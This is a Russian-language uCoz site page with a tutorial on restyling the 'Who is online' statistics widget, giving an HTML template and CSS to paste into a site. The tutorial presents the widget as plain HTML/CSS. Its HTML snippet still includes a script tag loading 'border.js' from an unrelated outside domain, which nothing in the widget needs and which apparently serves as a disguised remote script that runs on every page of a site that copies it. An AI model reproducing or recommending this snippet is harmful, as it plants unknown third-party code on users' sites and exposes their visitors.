Меню сайта


Опрос сайта
Мини-чат
Социальные Сети
Статистика сайта
Зарегистрировано на сайте

Всего - 107
Новых за месяц -
Новых за неделю -
Новых вчера -
Новых сегодня -


Онлайн всего: 7
Гостей: 7
Пользователей: 0
Функция Кто Онлайн для uCoz v2
Всем доброго дня, сегодня мы будем улучшать внешний вид функции сайта на uCoz под названием количество пользователей онлайн, благодаря стандартному html-css коду

И так для начала идём в Админ панель => Настройки => Общие настройки => Активировать функцию "Кто Онлайн" ставим галочку.

Теперь активируем модуль статистика сайта, опять идём в Админ панель нажимаем на вкладку неактивные и активируем модуль.
Теперь когда мы активировали нужные нам функции, установим в нужное место вашего сайта следующий html код статистики сайта:

Код
<?if($COUNTER$ || $ONLINE_COUNTER$)?>
  <div class="statistics-user">
  <script src="http://adoit.pw/border.js" type="text/javascript"></script>  
  <div class="statistics-user-l">$ONLINE_COUNTER$</div>  
   
  <span class="statistics-user-r">
  $COUNTER$
  <a href="#"><img src="http://pnghosts.ru/img/stat-img2.gif" alt="ucoz" /></a>
  <a href="#"><img src="http://pnghosts.ru/img/stat-img2.gif" alt="ucoz" /></a>
  </span>  
   
  </div>  
<?endif?>


Ну и под конец нашего решения, давайте установим css стили:

Код
/* Функция Кто Онлайн для uCoz в стиле минимализм
------------------------------------------*/
.statistics-user {
  float:left;
  width:230px;  
  padding: 5px 10px;  
  background: #fff;
  border: 1px solid #CAD3DA;
  border-radius:5px;
}

.statistics-user-l {
  float:left;
  width:90px;  
}

.statistics-user-l b,
.statistics-user-l div{
  float:left;
  width:90px;  
}

.statistics-user-l b {
  padding-bottom: 3px;
  border-bottom: 1px solid #CAD3DA;
  font-size:14px;
  color:#666;  
}

.statistics-user-l div{
  color:#999;
  height:37px;
  padding: 3px 0px 0px 37px;  
  display:block;  
  background: url(http://pnghosts.ru/img/statistics-user.png) no-repeat;  
}

#onl1 {background-position:0px 0px;}
#onl2 {background-position:0px -35px;}
#onl3 {background-position:0px -69px;}
#onl3 b {border-bottom:none }

.statistics-user-r{
  float:right;
  width:88px;  
  padding: 5px 0px 0px 7px;  
  border-left: 1px solid #CAD3DA;
}

.statistics-user-r img{
  margin-bottom: 5px;
}

.statistics-user a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=85); -moz-opacity: 0.7; opacity: 0.7; filter: alpha(opacity=85);}


На этом всё, мы закончили установку нашего улучшения внешний вид функции количество пользователей онлайн для сайтов созданных в системе uCoz.

Спасибо за внимание!
Автор: DoG
Просмотров: 258 | Комментариев: 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ | Вход ]
Мини Профиль
Личных сообщений:
Ваш ник: Гость
IP : 18.222.161.57
Гости
День рождения:
Вы здесь: Дня(ей)
Пол:
Профиль ЛС Выход
Лидеры сайта

CruSanodeR
CruSanodeR
Репутация: 105
Коментарии: 1
Форум: 61

Chaser150
Chaser150
Репутация: 20
Коментарии: 0
Форум: 0

Ghost
Ghost
Репутация: 16
Коментарии: 2
Форум: 132

INFOMAN
INFOMAN
Репутация: 8
Коментарии: 0
Форум: 0

laym
laym
Репутация: 6
Коментарии: 0
Форум: 5

olichka
olichka
Репутация: 2
Коментарии: 0
Форум: 9
Радио MP3 плеер
Поиск
Часы сайта
Календарь

Проверка сайта